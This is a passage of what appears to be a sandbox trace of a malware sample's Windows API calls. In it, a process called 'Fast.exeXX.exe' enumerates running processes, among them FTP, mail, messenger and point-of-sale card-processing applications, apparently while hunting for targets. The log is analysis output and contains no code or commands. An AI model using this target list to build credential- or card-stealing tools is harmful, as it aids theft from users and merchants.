lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.455] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.455] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.456] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.456] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.457] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.457] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.458] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.458] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.459] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0076.459] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0076.460] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0076.460] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0076.461] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0076.461] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0076.462] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0076.462] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0076.463] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0076.463] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0076.464] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0076.465] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0076.465] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0076.466] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0076.466] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0076.467] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0076.467] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0076.467] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0076.469] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0076.469] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0076.470] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0076.470] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.471] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.471] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.472] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.473] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.729] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.737] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.755] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.755] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0076.756] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0076.757] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0076.757] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0076.758] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0076.759] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0076.759] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0076.760] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0076.761] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0076.762] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.763] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0076.764] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.765] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.766] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.767] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.768] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0076.769] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.770] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.771] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.772] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.773] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0076.774] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0076.775] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0076.776] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0076.776] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0076.777] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0076.778] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0076.779] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0076.780] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0076.781] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0076.781] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0076.782] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0076.783] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.784] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.003] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.004] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0077.005] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0077.006] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.007] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0077.008] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.008] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0077.009] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0077.010] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.010] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.011] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0077.012] CloseHandle (hObject=0x194) returned 1 [0077.012] Sleep (dwMilliseconds=0x1f4) [0077.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0077.729] Process32FirstW 